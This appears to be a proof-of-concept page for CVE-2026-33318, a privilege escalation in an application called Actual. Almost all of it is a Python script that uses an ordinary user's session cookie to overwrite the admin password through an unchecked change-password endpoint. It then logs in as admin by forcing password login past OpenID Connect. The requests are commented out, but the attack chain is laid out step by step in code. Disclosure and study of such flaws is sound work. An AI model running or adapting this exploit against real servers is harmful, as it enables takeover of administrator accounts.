CVE-2026-33318 Actual权限提升漏洞

import requests # PoC for CVE-2026-33318 # This script demonstrates the privilege escalation chain. TARGET_URL = "http://target-server.com" ATTACKER_SESSION = "valid_low_privilege_cookie" # Obtained via normal login s = requests.Session() s.headers.update({"Cookie": f"session={ATTACKER_SESSION}"}) # Step 1: Exploit missing auth check on /account/change-password # Overwrite the orphaned admin password hash new_password = "attacker_controlled_pwd" change_pwd_endpoint = f"{TARGET_URL}/account/change-password" payload_pwd = { "password": new_password # Note: Depending on implementation, might need to specify the target user ID (admin) } print(f"[1] Attempting to overwrite admin password hash...") # resp = s.post(change_pwd_endpoint, json=payload_pwd) # print(resp.status_code) # Step 2: Force login using client-supplied loginMethod login_endpoint = f"{TARGET_URL}/login" payload_login = { "loginMethod": "password", # Bypass OpenID Connect config "username": "admin", "password": new_password } print(f"[2] Attempting to login as admin using password auth...") # resp = s.post(login_endpoint, json=payload_login) # if resp.status_code == 200: # print("[!] Privilege Escalation Successful!")